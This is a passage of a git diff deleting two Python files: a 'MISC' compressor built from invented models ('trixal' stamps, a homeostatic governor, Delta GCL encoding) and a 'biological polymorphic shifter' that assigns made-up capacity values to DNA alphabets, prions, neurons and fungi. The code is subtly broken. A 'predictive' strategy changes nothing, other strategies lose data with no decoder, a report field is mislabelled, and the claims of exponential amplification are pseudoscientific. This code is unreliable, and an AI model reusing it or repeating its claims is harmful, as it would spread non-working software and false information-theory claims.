non-reproducible process fingerprint""" - axes_data = f"{trixal.thermal.val},{trixal.work.val},{trixal.irreversibility.val}" - traj_data = hashlib.sha256(data).hexdigest()[:16] - combined = f"{axes_data}:{traj_data}:{self.time_steps}" - stamp = hashlib.sha256(combined.encode()).hexdigest() - self.time_steps += 1 - return TrixalStamp( - axes_hash=hashlib.sha256(axes_data.encode()).hexdigest()[:16], - trajectory_hash=traj_data, - stamp=stamp - ) - - -# ────────────────────────────────────────────────────── -# Informatic Stress & Homeostatic Governance (models 51-63, 98-101) -# ────────────────────────────────────────────────────── - -class HomeostaticGovernor: - """Self-regulatory governor for adaptive compression. - - Model 98: s_t = α·surprise_t + β·regret_t - Model 99: λ_t = λ₀·(σ + (1-σ)·e^{-ξ·p_t}) - Model 101: (1-γ)·p* = s(p*) — stability at fixed point - """ - - def __init__(self, - alpha: float = 0.5, - beta: float = 0.5, - gamma: float = 0.8, - sigma: float = 0.3, - xi: float = 0.5, - lambda0: float = 1.0): - self.alpha = Q16_16.from_float(alpha) - self.beta = Q16_16.from_float(beta) - self.gamma = Q16_16.from_float(gamma) - self.sigma = Q16_16.from_float(sigma) - self.xi = Q16_16.from_float(xi) - self.lambda0 = Q16_16.from_float(lambda0) - - self.pressure = Q16_16(0) - self.canal_width = self.lambda0 - self.history: List[Tuple[Q16_16, Q16_16, Q16_16, Q16_16]] = [] - - def compute_stress(self, - actual_ratio: Q16_16, - predicted_ratio: Q16_16, - optimal_ratio: Q16_16) -> Tuple[Q16_16, Q16_16, Q16_16]: - """Model 60/98: Compute surprise, regret, and stress.""" - # Surprise = |actual - predicted| - # Margin = 1 - surprise (Model 60: surprise = -ln(margin)) - diff = abs(actual_ratio - predicted_ratio) - margin = Q16_16(SCALE) - diff - if margin.val <= 0: - surprise = Q16_16(SCALE) # max surprise - else: - # surprise = -ln(margin), approximated as 1-margin for small values - one_minus_margin = Q16_16(SCALE) - margin - surprise = one_minus_margin - - # Regret = max(0, optimal - actual) (Model 60) - regret = Q16_16.max(Q16_16(0), optimal_ratio - actual_ratio) - - # Stress = α·surprise + β·regret (Model 98) - stress = self.alpha * surprise + self.beta * regret - - return surprise, regret, stress - - def update(self, - actual_ratio: Q16_16, - predicted_ratio: Q16_16, - optimal_ratio: Q16_16): - """Homeostatic update step.""" - surprise, regret, stress = self.compute_stress( - actual_ratio, predicted_ratio, optimal_ratio - ) - - # Pressure update: p_{t+1} = γ·p_t + s_t (Model 98) - self.pressure = self.gamma * self.pressure + stress - - # Canal width: λ_t = λ₀·(σ + (1-σ)·e^{-ξ·p_t}) (Model 99) - exp_arg = -(self.xi * self.pressure) - decay = exp_q16(exp_arg) - self.canal_width = self.lambda0 * (self.sigma + (Q16_16(SCALE) - self.sigma) * decay) - - self.history.append((surprise, regret, stress, self.pressure)) - - @property - def is_stable(self) -> bool: - """Model 101: |γ + s'(p*)| < 1 — fixed point stability""" - if len(self.history) < 2: - return False - # Approximate stability check: pressure changes are decreasing - p_prev = self.history[-2][3].val - p_curr = self.history[-1][3].val - d_p = abs(p_curr - p_prev) - return d_p < SCALE // 10 # pressure change < 0.1 - - -# ────────────────────────────────────────────────────── -# Delta GCL Encoding (models 637-646) -# ────────────────────────────────────────────────────── - -@dataclass -class PTOSManifest: - """Model 637: PTOS manifest structure""" - version: int = 1 - timestamp: int = 0 - checksum: int = 0 - payload: bytes = b'' - strategy_index: int = 0 - shell_map_data: Dict[int, Tuple[int, int]] = field(default_factory=dict) - - -@dataclass -class DeltaGCLSequence: - """Model 642: Delta GCL sequence structure""" - marker: str # 'F' for full, 'D' for delta - bytes: List[int] - field_codes: List[int] - - -class DeltaGCLEncoder: - """Model 637-646: Delta GCL compression encoder.""" - - # Model 640: PTOS dictionary (known codon patterns) - PTOS_DICT = { - b'\x00': 0x01, - b'\x01': 0x02, - b'\x02': 0x03, - b'\x03': 0x04, - b'\xff': 0x05, - } - - def __init__(self): - self.previous: Optional[PTOSManifest] = None - - def compute_delta(self, current: PTOSManifest, previous: PTOSManifest) -> Dict: - """Model 639: Compute delta between two manifests. - - Returns empty delta if identical (Model 646). - """ - if current == previous: - return {'deltaFlag': False, 'changedFields': [], 'fieldDeltas': []} - - delta = {'deltaFlag': True, 'changedFields': [], 'fieldDeltas': []} - - if current.version != previous.version: - delta['changedFields'].append('version') - delta['fieldDeltas'].append(current.version - previous.version) - - if current.strategy_index != previous.strategy_index: - delta['changedFields'].append('strategy') - delta['fieldDeltas'].append(current.strategy_index) - - # Check if payloads are similar (byte-level delta) - if current.payload and previous.payload: - max_len = max(len(current.payload), len(previous.payload)) - delta_bytes = [] - for i in range(max_len): - b_cur = current.payload[i] if i < len(current.payload) else 0 - b_prev = previous.payload[i] if i < len(previous.payload) else 0 - if b_cur != b_prev: - delta_bytes.append((i, b_cur - b_prev)) - if delta_bytes: - delta['changedFields'].append('payload_delta') - delta['fieldDeltas'].append(len(delta_bytes)) - - return delta - - def encode_codon(self, codon: int) -> List[int]: - """Model 641: Variable-length codon encoding. - - Known codons map directly, unknown get 0xFF||codon. - """ - if codon in self.PTOS_DICT.values(): - return [codon] - elif codon < 0x100: - return [0xFF, codon & 0xFF] - else: - return [0xFF, (codon >> 8) & 0xFF, codon & 0xFF] - - def encode(self, manifest: PTOSManifest) -> DeltaGCLSequence: - """Model 643: Encode manifest to Delta GCL format.""" - if self.previous is not None: - delta = self.compute_delta(manifest, self.previous) - if not delta['deltaFlag']: - return DeltaGCLSequence(marker='D', bytes=[0x00], field_codes=[]) - - # Full encoding - encoded = [] - # Strategy index - encoded.extend(self.encode_codon(manifest.strategy_index)) - # Payload length - encoded.extend(self.encode_codon(len(manifest.payload))) - # Payload bytes (simplified) - encoded.extend(manifest.payload[:64]) # truncate for proof-of-concept - - self.previous = manifest - return DeltaGCLSequence(marker='F', bytes=encoded, field_codes=[]) - - -# ────────────────────────────────────────────────────── -# MISC Compressor (Unified) -# ────────────────────────────────────────────────────── - -@dataclass -class CompressedBlock: - """Output of MISC compression.""" - gcl_bytes: bytes - trixal: TrixalState - stamp: TrixalStamp - strategy: str - shell_map: Dict[int, Tuple[int, int]] - canal_width: float - compression_ratio: float - - -class MISCConfig: - """Configuration for the MISC compressor.""" - def __init__(self, - block_size: int = 256, - gwl_window: int = 16, - homeostatic_alpha: float = 0.5, - homeostatic_beta: float = 0.5, - homeostatic_gamma: float = 0.8, - verbose: bool = False): - self.block_size = block_size - self.gwl_window = gwl_window - self.homeostatic_alpha = homeostatic_alpha - self.homeostatic_beta = homeostatic_beta - self.homeostatic_gamma = homeostatic_gamma - self.verbose = verbose - - -class MISCCompressor: - """Unified MISC Compressor. - - Combines all components: - - PIST/DIAT shell coordinates - - GWL multi-factor similarity - - Cognitive load routing - - Thermodynamic trixal quality - - Delta GCL encoding - - Homeostatic governance - """ - - def __init__(self, config: Optional[MISCConfig] = None): - self.config = config or MISCConfig() - self.router = CognitiveLoadRouter() - self.thermo = ThermodynamicEngine() - self.governor = HomeostaticGovernor( - alpha=self.config.homeostatic_alpha, - beta=self.config.homeostatic_beta, - gamma=self.config.homeostatic_gamma, - ) - self.gcl = DeltaGCLEncoder() - self.block_idx = 0 - self.predicted_ratio = Q16_16.from_float(0.5) - self.optimal_ratio = Q16_16.from_float(0.3) - - def compress_block(self, data: bytes) -> Optional[CompressedBlock]: - """Compress a single data block through the full MISC pipeline.""" - if not data: - return None - - # Phase 1: PIST Shell Map - shell_map = ShellMapBuilder(data) - - # Phase 2: GWL Coupling Similarity (windowed) - coupling = GWLCoupling(len(data)) - densities = [] - stride = max(1, len(data) // 16) - window = min(self.config.gwl_window, len(data)) - - for i in range(0, len(data), stride): - row_density = Q16_16(0) - count = 0 - for j in range(i + 1, min(i + window, len(data))): - w = coupling.compute(data, i, j, shell_map) - row_density = row_density + w - count += 1 - if count > 0: - row_density = row_density / Q16_16.from_int(count) - densities.append(row_density) - - avg_coupling = Q16_16(0) - if densities: - avg_coupling = sum(densities, Q16_16(0)) / Q16_16.from_int(len(densities)) - - # Phase 3: Cognitive Load Routing - strategy, load = self.router.select_strategy(data, self.block_idx) - - # Phase 4: Apply strategy (simplified) - compressed = self._apply_strategy(data, strategy, shell_map, avg_coupling) - - # Phase 5: Thermodynamic Trixal Assessment - trixal = self.thermo.compute_trixal(data, strategy, load) - stamp = self.thermo.create_stamp(trixal, data[:32]) - - # Reject if irreversibility too high (unlawful compression) - ONE = Q16_16(SCALE) - if trixal.irreversibility > ONE * Q16_16.from_natural(7, 10): - if self.config.verbose: - print(f" Block {self.block_idx}: REJECTED (irreversibility " - f"{trixal.irreversibility.to_float():.3f})") - strategy = 'RAW_COPY' - compressed = data - - # Phase 6: Delta GCL Encode - manifest = PTOSManifest( - version=1, - payload=compressed, - strategy_index=self.router.STRATEGIES.index(strategy), - shell_map_data={k: (c.k, c.t) for k, c in shell_map.coords.items()}, - ) - gcl_seq = self.gcl.encode(manifest) - gcl_bytes = bytes(gcl_seq.bytes) - - # Phase 7: Homeostatic Update - actual_ratio = Q16_16.from_natural(len(gcl_bytes), len(data)) - self.governor.update(actual_ratio, self.predicted_ratio, self.optimal_ratio) - - # Update predicted ratio from recent performance - self.predicted_ratio = ( - self.predicted_ratio * Q16_16.from_natural(9, 10) - + actual_ratio * Q16_16.from_natural(1, 10) - ) - - result = CompressedBlock( - gcl_bytes=gcl_bytes, - trixal=trixal, - stamp=stamp, - strategy=strategy, - shell_map={k: (c.k, c.t) for k, c in shell_map.coords.items()}, - canal_width=self.governor.canal_width.to_float(), - compression_ratio=actual_ratio.to_float(), - ) - - if self.config.verbose: - print(f" Block {self.block_idx}: {strategy:20s} " - f"ratio={result.compression_ratio:.4f} " - f"pressure={self.governor.pressure.to_float():.3f} " - f"canal={result.canal_width:.3f} " - f"trixal=[{trixal.thermal.to_float():.2f}," - f"{trixal.work.to_float():.2f}," - f"{trixal.irreversibility.to_float():.2f}]") - - self.block_idx += 1 - return result - - def _apply_strategy(self, - data: bytes, - strategy: str, - shell_map: ShellMapBuilder, - avg_coupling: Q16_16) -> bytes: - """Apply compression strategy. - - RAW_COPY: return as-is (or entropy coded) - DELTA: delta from previous identical-mass tokens - DICTIONARY: 4-byte dictionary encoding - SHELL_RESONANCE: resonance-based dedup - PREDICTIVE: predict from shell coordinate neighbors - """ - if strategy == 'RAW_COPY': - return data - - elif strategy == 'DELTA': - # Delta-encode within shell resonance groups - result = bytearray() - groups = shell_map.resonance_groups() - prev_values: Dict[int, int] = {} - for b in data: - mass = shell_map.get(b).mass - if mass in prev_values: - result.append((b - prev_values[mass]) & 0xFF) - else: - result.append(b) - prev_values[mass] = b - return bytes(result) - - elif strategy == 'DICTIONARY': - # Map frequent tokens to short codes - endpoint_tokens = set(shell_map.endpoint_tokens()) - result = bytearray() - for b in data: - if b in endpoint_tokens: - result.append(b ^ 0x80) # mark as dictionary entry - else: - result.append(b) - return bytes(result) - - elif strategy == 'SHELL_RESONANCE': - # Resonance-based: replace tokens with resonant partner delta - result = bytearray() - # Find resonant pairs - groups = shell_map.resonance_groups() - resonant_map: Dict[int, int] = {} - for mass, tokens in groups.items(): - if len(tokens) >= 2: - for i in range(1, len(tokens)): - resonant_map[tokens[i]] = tokens[0] - for b in data: - if b in resonant_map: - result.append(resonant_map[b]) - else: - result.append(b) - return bytes(result) - - elif strategy == 'PREDICTIVE': - # Predict from shell coordinate neighbors - result = bytearray() - for i, b in enumerate(data): - if i > 0: - prev_b = data[i - 1] - prev_coord = shell_map.get(prev_b) - cur_coord = shell_map.get(b) - if prev_coord.is_resonant_with(cur_coord): - result.append(b) # already predictable - else: - result.append(b) - else: - result.append(b) - return bytes(result) - - return data - - def compress(self, data: bytes) -> List[CompressedBlock]: - """Compress arbitrary data through MISC pipeline.""" - bs = self.config.block_size - blocks = [] - for offset in range(0, len(data), bs): - block = data[offset:offset + bs] - result = self.compress_block(block) - if result: - blocks.append(result) - return blocks - - -# ────────────────────────────────────────────────────── -# Public API -# ────────────────────────────────────────────────────── - -def compress(data: bytes, config: Optional[MISCConfig] = None) -> List[CompressedBlock]: - """High-level MISC compression entry point.""" - compressor = MISCCompressor(config) - return compressor.compress(data) - - -def format_report(blocks: List[CompressedBlock]) -> Dict[str, Any]: - """Generate a summary of compression results.""" - if not blocks: - return {'error': 'no blocks'} - - total_in = 0 - total_out = 0 - strategies: Counter = Counter() - avg_trixal = [Q16_16(0), Q16_16(0), Q16_16(0)] - - for blk in blocks: - # Estimate input size from shell map complexity - in_size = len(blk.gcl_bytes) / max(blk.compression_ratio, 0.001) - total_in += int(in_size) - total_out += len(blk.gcl_bytes) - strategies[blk.strategy] += 1 - avg_trixal[0] += blk.trixal.thermal - avg_trixal[1] += blk.trixal.work - avg_trixal[2] += blk.trixal.irreversibility - - n = len(blocks) - return { - 'blocks': n, - 'total_estimated_input': total_in, - 'total_output': total_out, - 'overall_ratio': total_out / max(total_in, 1), - 'savings_percent': (1 - total_out / max(total_in, 1)) * 100, - 'strategies_used': dict(strategies), - 'avg_trixal': { - 'thermal': (avg_trixal[0] / Q16_16.from_int(n)).to_float(), - 'work': (avg_trixal[1] / Q16_16.from_int(n)).to_float(), - 'irreversibility': (avg_trixal[2] / Q16_16.from_int(n)).to_float(), - }, - 'homeostatic_pressure': blocks[-1].canal_width, - } - - -if __name__ == '__main__': - # Quick self-test - print("MISC Kernel — Manifold-Invariant Shell Compression") - print("=" * 60) - - # Test with sample data - test_data = b"Hello, MISC! This is a test of the manifold-invariant shell compression framework." * 4 - - print(f"Input: {len(test_data)} bytes") - config = MISCConfig(block_size=64, verbose=True) - blocks = compress(test_data, config) - report = format_report(blocks) - - print(f"\nSummary:") - print(f" Blocks: {report['blocks']}") - print(f" Est. input: {report['total_estimated_input']} bytes") - print(f" Output: {report['total_output']} bytes") - print(f" Ratio: {report['overall_ratio']:.4f}") - print(f" Savings: {report['savings_percent']:.1f}%") - print(f" Strategies: {report['strategies_used']}") - print(f" Avg trixal: {report['avg_trixal']}") diff --git a/3-Mathematical-Models/pist_biological_polymorphic_shifter_v3.py b/3-Mathematical-Models/pist_biological_polymorphic_shifter_v3.py deleted file mode 100644 index fbedefc2..00000000 --- a/3-Mathematical-Models/pist_biological_polymorphic_shifter_v3.py +++ /dev/null @@ -1,479 +0,0 @@ -#!/usr/bin/env python3 -""" -PIST Biological Polymorphic Shifter v3.0 -========================================= -Hyperdimensional biological manifold compressor where every encoding modality -is a polymorphic shifter that transforms manifold state. ANY combination with -ANY combination is allowed as long as it increases fitness (compression × computation × stability). - -Synthetic DNA Alphabets: - Hachimoji (8-letter), AEGIS (12+ letter), Hydrophobic Pairs, Shape-Complementary Pairs - Backbone XNAs: PNA, LNA, TNA, GNA, HNA, CeNA, FANA, Morpholino, Spiegelmer - -RNA Processing: - Transcription, Translation (codon→peptide), Splicing, Editing, Interference (siRNA, miRNA, piRNA) - lncRNA regulation, Riboswitches, Ribozymes - -Prion/Epigenetic: - Self-propagating conformational shift, Histone modification, DNA methylation, Chromatin remodeling - -Neuronal Encoding: - Spike timing, STDP plasticity, Rate coding, Burst coding, Oscillatory phase coding - -Mycelial/Fungal: - Hyphal network routing, Spore dispersal, Symbiotic exchange, Quorum sensing - -Cellular Automata: - Wireworld, Game of Life, Rule 30, Rule 110 (as discrete state machine shifters) - -n() Notation: Every shifter has an exponential amplification factor. - n(shifter) = base^depth where depth = how many times the shifter has been applied. - This represents combinatorial explosion of encoding capacity. - -Usage: - python3 pist_biological_polymorphic_shifter_v3.py -""" - -import struct -import math -import json -import time -import random -import sys -from collections import Counter, defaultdict -from heapq import heappush, heappop -from itertools import product, combinations, chain -from functools import lru_cache -from copy import deepcopy - -# ═══════════════════════════════════════════════════════════════════════════════ -# CONSTANTS -# ═══════════════════════════════════════════════════════════════════════════════ - -PHI = (1 + 5**0.5) / 2 # golden ratio ≈ 1.618 -E = math.e -PI = math.pi - -# Prime numbers for Galois field operations -GALOIS_PRIME = 251 # largest prime ≤ 255 -GALOIS_PRIMITIVE = 86 # primitive element mod 251 - -# ── Synthetic Genetic Alphabets ───────────────────────────────────────────── -# Each letter maps to a bit pattern - -HACHIMOJI_ALPHABET = { - # Natural bases - 'A': 0b0000, # Adenine - 'T': 0b0001, # Thymine - 'C': 0b0010, # Cytosine - 'G': 0b0011, # Guanine - # Synthetic bases - 'Z': 0b0100, # 6-amino-5-nitropyridin-2-one (pairs with P) - 'P': 0b0101, # 2-aminoimidazo[1,2-a][1,3,5]triazin-4(8H)-one (pairs with Z) - 'S': 0b0110, # 3-methyl-6-amino-5-(1-propynyl)-pyrimidin-2-one (pairs with B) - 'B': 0b0111, # 6-amino-9H-purin-2-ol (pairs with S) -} -# 8 letters = 3 bits per letter, 2.67x density vs binary - -AEGIS_ALPHABET = { - **HACHIMOJI_ALPHABET, - 'V': 0b1000, # pairs with J - 'J': 0b1001, # pairs with V - 'K': 0b1010, # pairs with X - 'X': 0b1011, # pairs with K -} -# 12 letters = ~3.58 bits per letter - -ROMESBERG_ALPHABET = { - 'NaM': 0b00, # naphthalene derivative - '5SICS': 0b01, # pairs with NaM (hydrophobic) - 'TPT3': 0b10, # optimized partner for NaM - 'dNaM': 0b11, # alternative NaM variant -} -# 4 hydrophobic letters = 2 bits per letter - -HIRAO_ALPHABET = { - 'Ds': 0b00, # 7-(2-thienyl)-imidazo[4,5-b]pyridine - 'Px': 0b01, # 2-nitro-4-propynylpyrrole - 'Pa': 0b10, # pyrrole-2-carbaldehyde (older) - 'dK': 0b11, # alternative shape-complementary -} -# 4 shape-complementary letters = 2 bits per letter - -# Collection of all known synthetic DNA letters -ALL_SYNTHETIC_BASES = { - # Natural - 'A', 'T', 'C', 'G', 'U', - # Hachimoji - 'Z', 'P', 'S', 'B', - # AEGIS extended - 'V', 'J', 'K', 'X', - 'isoC', 'isoG', - # Romesberg hydrophobic - 'NaM', '5SICS', 'TPT3', 'dNaM', - # Hirao shape-complementary - 'Ds', 'Px', 'Pa', 'dK', -} - -BASE_PAIRS = { - # Natural Watson-Crick - 'A': 'T', 'T': 'A', 'C': 'G', 'G': 'C', 'U': 'A', - # Hachimoji - 'Z': 'P', 'P': 'Z', 'S': 'B', 'B': 'S', - # AEGIS - 'V': 'J', 'J': 'V', 'K': 'X', 'X': 'K', - 'isoC': 'isoG', 'isoG': 'isoC', - # Romesberg hydrophobic - 'NaM': '5SICS', '5SICS': 'NaM', 'TPT3': 'dNaM', 'dNaM': 'TPT3', - # Hirao shape - 'Ds': 'Px', 'Px': 'Ds', 'Pa': 'dK', 'dK': 'Pa', -} - -# ── Codon Table (Natural + Expanded) ─────────────────────────────────────── -STANDARD_CODON_TABLE = { - 'UUU': 'F', 'UUC': 'F', 'UUA': 'L', 'UUG': 'L', - 'CUU': 'L', 'CUC': 'L', 'CUA': 'L', 'CUG': 'L', - 'AUU': 'I', 'AUC': 'I', 'AUA': 'I', 'AUG': 'M', - 'GUU': 'V', 'GUC': 'V', 'GUA': 'V', 'GUG': 'V', - 'UCU': 'S', 'UCC': 'S', 'UCA': 'S', 'UCG': 'S', - 'CCU': 'P', 'CCC': 'P', 'CCA': 'P', 'CCG': 'P', - 'ACU': 'T', 'ACC': 'T', 'ACA': 'T', 'ACG': 'T', - 'GCU': 'A', 'GCC': 'A', 'GCA': 'A', 'GCG': 'A', - 'UAU': 'Y', 'UAC': 'Y', 'UAA': '*', 'UAG': '*', - 'CAU': 'H', 'CAC': 'H', 'CAA': 'Q', 'CAG': 'Q', - 'AAU': 'N', 'AAC': 'N', 'AAA': 'K', 'AAG': 'K', - 'GAU': 'D', 'GAC': 'D', 'GAA': 'E', 'GAG': 'E', - 'UGU': 'C', 'UGC': 'C', 'UGA': '*', 'UGG': 'W', - 'CGU': 'R', 'CGC': 'R', 'CGA': 'R', 'CGG': 'R', - 'AGU': 'S', 'AGC': 'S', 'AGA': 'R', 'AGG': 'R', - 'GGU': 'G', 'GGC': 'G', 'GGA': 'G', 'GGG': 'G', -} - -# Reverse: amino acid → codons -AMINO_CODONS = defaultdict(list) -for codon, aa in STANDARD_CODON_TABLE.items(): - AMINO_CODONS[aa].append(codon) - -AMINO_ACIDS = list(set(STANDARD_CODON_TABLE.values())) - -# ═══════════════════════════════════════════════════════════════════════════════ -# n() EXPONENTIAL AMPLIFICATION SYSTEM -# ─────────────────────────────────────────────────────────────────────────────── -# n(shifter, depth) = base^depth where: -# - base = information capacity of the shifter (bits per symbol) -# - depth = how many nested/recursive applications of the shifter -# - n() represents the combinatorial explosion factor -# ═══════════════════════════════════════════════════════════════════════════════ - -class NExponent: - """n() exponential amplification system for shifter encoding capacity.""" - - SHIFTER_BASES = { - # ── Synthetic DNA Alphabets ── - 'Hachimoji': 3.0, # 8 letters ≈ 3 bits/letter → 2^3 = 8 states - 'AEGIS': 3.585, # 12 letters ≈ 3.585 bits/letter - 'Romesberg': 2.0, # 4 hydrophobic pairs ≈ 2 bits/letter - 'Hirao': 2.0, # 4 shape-complementary ≈ 2 bits/letter - 'NaturalDNA': 2.0, # 4 natural bases ≈ 2 bits/base - 'RNA': 2.0, # 4 bases (AUCG) ≈ 2 bits/base - - # ── Backbone XNAs (same letters, different structural properties) ── - 'PNA': 2.0, # Peptide backbone (neutral, tighter binding) - 'LNA': 2.0, # Locked ribose (thermally stable) - 'TNA': 2.0, # Threose backbone (pre-RNA) - 'GNA': 2.0, # Glycol backbone (simpler) - 'HNA': 2.0, # Hexitol backbone (RNA binding) - 'CeNA': 2.0, # Cyclohexenyl backbone - 'FANA': 2.0, # Fluoro-arabino (enzyme resistant) - 'Morpholino': 2.0, # Morpholine ring (therapeutic) - 'Spiegelmer': 2.0, # L-DNA mirror image (non-degradable) - 'Boranophosphate': 2.0, # Borane backbone (nuclease resistant) - 'Phosphorothioate': 2.0, # Sulfur backbone (therapeutic) - - # ── RNA Processing ── - 'Transcription': 4.0, # DNA→RNA (amplification) - 'Translation': 3.0, # RNA→Peptide (codon→aa, 3:1 compression) - 'Splicing': 2.5, # Intron removal (compression) - 'Editing': 2.0, # Base editing (A→I, C→U) - 'miRNA': 3.0, # MicroRNA regulation (gene silencing) - 'siRNA': 3.0, # Small interfering RNA (targeted) - 'piRNA': 3.0, # Piwi-interacting (transposon defense) - 'lncRNA': 2.5, # Long non-coding (scaffold) - 'Riboswitch': 2.0, # Metabolite-sensing RNA - 'Ribozyme': 2.0, # Catalytic RNA - 'tRNA': 3.0, # Transfer RNA (adaptor) - 'rRNA': 2.0, # Ribosomal RNA (structural) - - # ── Prion/Epigenetic ── - 'Prion': 4.0, # Self-propagating conformational (exponential!) - 'HistoneMod': 2.5, # Histone acetylation/methylation - 'DNAmethylation': 2.0, # CpG methylation - 'Chromatin': 3.0, # Chromatin remodeling (domain scale) - 'lncRNA_epi': 2.5, # lncRNA-directed epigenetic modification - - # ── Neuronal Encoding ── - 'SpikeTiming': 4.0, # Precise spike timing (high bandwidth) - 'STDP': 3.0, # Spike-timing-dependent plasticity - 'RateCoding': 2.5, # Firing rate encoding - 'BurstCoding': 3.5, # Burst pattern encoding - 'PhaseCoding': 3.0, # Oscillatory phase encoding - 'PopulationCoding': 4.0, # Population vector encoding - 'SynapticWeight': 3.0, # Weight-based memory - 'DendriticComp': 3.5, # Dendritic computation - - # ── Mycelial/Fungal ── - 'HyphalNet': 3.5, # Hyphal network routing - 'SporeDispersal': 3.0, # Spore-based information dispersal - 'Symbiotic': 2.5, # Symbiotic exchange (mycorrhizal) - 'QuorumSensing': 2.0, # Density-based signaling - 'FungalWave': 3.0, # Calcium wave propagation - 'MycelialFusion': 3.5, # Hyphal anastomosis (network merging) - - # ── Chaotic Maps ── - 'LogisticMap': 2.5, # x_{n+1} = r·x_n·(1-x_n) - 'HenonMap': 3.0, # 2D chaotic attractor - 'Lorenz': 3.5, # 3D chaotic system - 'ArnoldCat': 2.0, # Torus automorphism (area-preserving) - 'ChuaCircuit': 3.5, # Double scroll attractor - 'ChenMap': 3.0, # Chen's hyperchaotic system - - # ── Galois Ring Algebra ── - 'GaloisRing': 4.0, # GF(p^k) algebraic operations - 'SBox': 3.0, # Substitution box (non-linear) - 'NLFSR': 2.5, # Non-linear feedback shift register - - # ── Compressed Sensing ── - 'CompressedSensing': 4.0, # Sub-Nyquist sampling - 'SparseRecovery': 3.5, # L1 minimization - - # ── Cellular Automata ── - 'Wireworld': 2.0, # Wireworld CA (electronics) - 'GameOfLife': 2.0, # Conway's Game of Life - 'Rule30': 2.0, # Rule 30 (chaotic) - 'Rule110': 2.0, # Rule 110 (Turing complete) - 'ElementaryCA': 2.0, # General elementary CA - - # ── PIST Geometry (base) ── - 'PIST': 2.5, # PIST shell coordinates - 'PISTMirror': 2.0, # Mirror involution - 'PISTResonance': 2.5, # Mass resonance equivalence - - # ── Arithmetic ── - 'DeltaGCL': 2.0, # Delta encoding - 'RunLength': 2.0, # RLE - 'Huffman': 2.0, # Huffman coding - 'ArithmeticCoding': 2.5, # Arithmetic coding - } - - @staticmethod - def n(shifter_name: str, depth: int = 1) -> float: - """n(shifter) = base^depth. Exponential amplification factor.""" - base = NExponent.SHIFTER_BASES.get(shifter_name, 2.0) - return base ** depth - - @staticmethod - def n_combined(shifters: list, depths: list = None) -> float: - """n(shifter1, shifter2, ...) = product of n(shifter_i). - - The combined exponential amplification is the product of all bases, - representing the combinatorial explosion of nested encoding layers. - """ - if depths is None: - depths = [1] * len(shifters) - combined = 1.0 - for name, depth in zip(shifters, depths): - combined *= NExponent.n(name, depth) - return combined - - @staticmethod - def log_n(combined_factor: float) -> float: - """log2 of n() factor — effective bits per symbol.""" - return math.log2(max(1.0, combined_factor)) - - @staticmethod - def format_n(shifter_name: str, depth: int = 1) -> str: - """Format n(shifter) for display.""" - val = NExponent.n(shifter_name, depth) - return f"n({shifter_name}) = {val:.3f} (base^{depth})" - - -# ═══════════════════════════════════════════════════════════════════════════════ -# PIST GEOMETRY (base coordinate system) -# ═══════════════════════════════════════════════════════════════════════════════ - -def pist_encode(n: int) -> tuple: - """Encode n into (shell, offset). Byte range 0-255 → shells 0-15.""" - k = int(math.isqrt(n)) - t = n - k * k - return (k, t) - -def pist_decode(k: int, t: int) -> int: - """Decode PIST coordinates back to integer.""" - return k * k + t - -def pist_mass(k: int, t: int) -> int: - """PIST mass = t·(2k+1-t). Zero at perfect squares (grounded).""" - return t * (2 * k + 1 - t) - -def pist_mirror(k: int, t: int) -> tuple: - """Mirror involution preserves mass within shell.""" - return (k, 2 * k + 1 - t) - -def pist_normalized_tension(k: int, t: int) -> float: - """ρ = t/(2k+1) ∈ [0,1).""" - width = 2 * k + 1 - return t / width if width > 0 else 0.0 - -def pist_phase_str(k: int, t: int) -> str: - """Phase classification.""" - return 'grounded' if pist_mass(k, t) == 0 else 'seismic' - -def intrinsic_load(data: bytes) -> float: - """L_I Shannon entropy in bits per byte.""" - if not data: - return 0.0 - c = Counter(data) - n = len(data) - return -sum((cnt / n) * math.log2(cnt / n) for cnt in c.values()) - - -# ═══════════════════════════════════════════════════════════════════════════════ -# SHIFTER BASE CLASS — Any encoding modality -# ─────────────────────────────────────────────────────────────────────────────── -# A shifter takes manifold state as input and returns transformed manifold state. -# Each shifter has: -# - encode(state) → transformed state (compression/encoding pass) -# - decode(state) → inverse (reconstruction pass) -# - fitness(state) → compression_ratio × computation_metric × stability -# - n_factor → exponential amplification factor (via NExponent) -# ═══════════════════════════════════════════════════════════════════════════════ - -class ManifoldState: - """ - The fundamental state of the biological manifold. - Can be represented in multiple encoding regimes simultaneously. - - Attributes: - raw_bytes: The original byte data - pist_coords: List of (shell, offset, mass, tension) for each byte - shifter_chain: List of (shifter_name, depth) applied so far - encoded: Current encoded representation (bytes) - n_factor: Combined n() exponential amplification factor - fitness_score: Current fitness (compression × computation × stability) - entropy: Current Shannon entropy of encoded state - regime: Current encoding regime (e.g., 'hachimoji', 'prion', 'spike') - """ - - def __init__(self, data: bytes = None): - self.raw_bytes = data or b'' - self.pist_coords = [] - self.shifter_chain = [] - self.encoded = data or b'' - self.n_factor = 1.0 - self.fitness_score = 0.0 - self.entropy = intrinsic_load(self.encoded) - self.regime = 'raw' - self.metadata = {} - - if data: - self._compute_pist() - - def _compute_pist(self): - """Compute PIST coordinates for all bytes.""" - self.pist_coords = [] - for b in self.raw_bytes: - k, t = pist_encode(b) - m = pist_mass(k, t) - tens = pist_normalized_tension(k, t) - self.pist_coords.append({ - 'byte': b, 'shell': k, 'offset': t, - 'mass': m, 'tension': tens, - 'phase': 'grounded' if m == 0 else 'seismic' - }) - - def update_encoded(self, new_encoded: bytes, shifter_name: str, depth: int = 1): - """Apply a shifter transformation and update state.""" - self.encoded = new_encoded - self.shifter_chain.append((shifter_name, depth)) - self.entropy = intrinsic_load(new_encoded) - - # Update combined n() factor - self.n_factor *= NExponent.n(shifter_name, depth) - self.regime = shifter_name - - def compute_fitness(self) -> float: - """ - fitness = compression_ratio × computation_efficiency × stability - - compression_ratio: raw_size / encoded_size - computation_efficiency: 1.0 / (1.0 + entropy) — lower entropy = more efficient - stability: 1.0 - abs(0.5 - tension_variance) — moderate tension = stable - - Returns a float in [0, ∞). Higher is better. - """ - if not self.raw_bytes or not self.encoded: - return 0.0 - - # Compression ratio - ratio = len(self.raw_bytes) / max(1, len(self.encoded)) - - # Computation efficiency (inverse of entropy cost) - comp_eff = 1.0 / (1.0 + self.entropy) - - # Stability: measure of PIST tension distribution - if self.pist_coords: - tensions = [c['tension'] for c in self.pist_coords] - if tensions: - mean_t = sum(tensions) / len(tensions) - var_t = sum((t - mean_t)**2 for t in tensions) / len(tensions) - # Ideal: moderate variance (not all grounded, not all seismic) - stability = 1.0 - min(1.0, abs(0.25 - var_t) * 2) - else: - stability = 0.5 - else: - stability = 0.5 - - # n() amplification bonus - n_bonus = 